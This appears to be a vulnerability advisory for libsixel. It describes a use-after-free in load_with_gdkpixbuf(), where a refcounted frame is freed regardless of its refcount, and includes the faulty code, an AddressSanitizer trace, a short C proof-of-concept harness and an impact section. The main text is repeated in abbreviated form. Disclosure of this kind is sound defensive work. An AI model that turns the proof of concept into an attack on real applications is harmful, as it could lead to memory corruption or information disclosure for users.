Summary
When libsixel is built with --with-gdk-pixbuf2, load_with_gdkpixbuf() creates a sixel_frame_t via sixel_frame_new(). The standard refcounted constructor exposes it to the public callback, then manually frees the object and its internal buffers at cleanup without consulting the refcount:
sixel_allocator_free(pchunk->allocator, frame->pixels);
sixel_allocator_free(pchunk->allocator, frame->palette);
sixel_allocator_free(pchunk->allocator, frame);
A callback that calls sixel_frame_ref(frame), retains a logically valid reference. After sixel_helper_load_image_file() returns, however, the saved pointer is dangling. Any access to the frame object or its fields is a use-after-free on the sixel_frame_t struct itself.
The root cause is a consistency failure between two cleanup strategies coexisting in the same codebase : sixel_frame_unref() in load_with_builtin(), raw free() in load_with_gdkpixbuf().
Vulnerable Code Path
- Object created via refcounted constructor (loader.c:1053)
status = sixel_frame_new(&frame, allocator);
sixel_frame_new() initializes frame->ref = 1. The object is part of the refcount lifecycle from the moment of creation.
- Frame exposed to the public callback (loader.c:1102)
status = fn_load(frame, context);
The caller receives a pointer to a live, refcounted object.
- Manual free ignoring refcount (loader.c:1179-1184)
if (frame) {
sixel_allocator_free(pchunk->allocator, frame->pixels);
sixel_allocator_free(pchunk->allocator, frame->palette);
sixel_allocator_free(pchunk->allocator, frame);
}
frame->ref is never read. The object is destroyed unconditionally, even if ref == 2. The correct call would be sixel_frame_unref(frame), which only frees when ref reaches zero.
ASAN Trace
==6943==ERROR: AddressSanitizer: heap-use-after-free on address 0x607000001138 at pc 0x559a854c5356 bp 0x7ffdcfdc2540 sp 0x7ffdcfdc2538
READ of size 8 at 0x607000001138 thread T0
#0 0x559a854c5355 in sixel_frame_get_pixels frame.c:205:19
#1 0x559a854c3446 in main /harness.c:27:35
[...]
0x607000001138 is located 8 bytes inside of 72-byte region [0x607000001130,0x607000001178)
freed by thread T0 here:
#0 0x559a854882a2 in free (/poc_asan+0x10e2a2)
#1 0x559a8559b387 in sixel_allocator_free allocator.c:230:5
#2 0x559a854e943a in load_with_gdkpixbuf loader.c:1184:9
#3 0x559a854e56a1 in sixel_helper_load_image_file loader.c:1439:18
previously allocated by thread T0 here:
#0 0x559a8548854e in __interceptor_malloc
#1 0x559a8559ad46 in sixel_allocator_malloc allocator.c:162:12
#2 0x559a854c37ce in sixel_frame_new frame.c:61:33
#3 0x559a854e5a05 in load_with_gdkpixbuf loader.c:1053:14
#4 0x559a854e56a1 in sixel_helper_load_image_file loader.c:1439:18
SUMMARY: AddressSanitizer: heap-use-after-free frame.c:205:19 in sixel_frame_get_pixels
PoC
#include <stdlib.h>
#include <sixel.h>
static sixel_frame_t *saved = NULL;
static SIXELSTATUS
on_frame(sixel_frame_t *frame, void *opaque)
{
(void)opaque;
sixel_frame_ref(frame);
saved = frame;
return SIXEL_OK;
}
int main(int argc, char **argv)
{
sixel_allocator_t *alloc = NULL;
if (argc != 2) return 2;
sixel_allocator_new(&alloc, malloc, calloc, realloc, free);
sixel_helper_load_image_file(argv[1], 1, 1, SIXEL_PALETTE_MAX,
NULL, SIXEL_LOOP_AUTO,
on_frame, 0, NULL, NULL, alloc);
volatile unsigned char sink = sixel_frame_get_pixels(saved)[0];
(void)sink;
sixel_frame_unref(saved);
sixel_allocator_unref(alloc);
return 0;
}
build requires libsixel compiled with --with-gdk-pixbuf2
- Trigger file
Any valid image accepted by gdk-pixbuf2 (PNG, JPEG, etc.).
Impact
An attacker supplying a crafted image to any application built against libsixel with --with-gdk-pixbuf2 can trigger the UAF reliably. Depending on heap layout, this may lead to information disclosure (reading reallocated struct content), memory corruption, or code execution if the freed region is reused to hold a function pointer or vtable-like structure.
Summary
When libsixel is built with --with-gdk-pixbuf2, load_with_gdkpixbuf() creates a sixel_frame_t via sixel_frame_new(). The standard refcounted constructor exposes it to the public callback, then manually frees the object and its internal buffers at cleanup without consulting the refcount:
A callback that calls sixel_frame_ref(frame), retains a logically valid reference. After sixel_helper_load_image_file() returns, however, the saved pointer is dangling. Any access to the frame object or its fields is a use-after-free on the sixel_frame_t struct itself.
The root cause is a consistency failure between two cleanup strategies coexisting in the same codebase : sixel_frame_unref() in load_with_builtin(), raw free() in load_with_gdkpixbuf().
Vulnerable Code Path
sixel_frame_new() initializes frame->ref = 1. The object is part of the refcount lifecycle from the moment of creation.
The caller receives a pointer to a live, refcounted object.
frame->ref is never read. The object is destroyed unconditionally, even if ref == 2. The correct call would be sixel_frame_unref(frame), which only frees when ref reaches zero.
ASAN Trace
PoC
build requires libsixel compiled with --with-gdk-pixbuf2
Any valid image accepted by gdk-pixbuf2 (PNG, JPEG, etc.).
Impact
An attacker supplying a crafted image to any application built against libsixel with --with-gdk-pixbuf2 can trigger the UAF reliably. Depending on heap layout, this may lead to information disclosure (reading reallocated struct content), memory corruption, or code execution if the freed region is reused to hold a function pointer or vtable-like structure.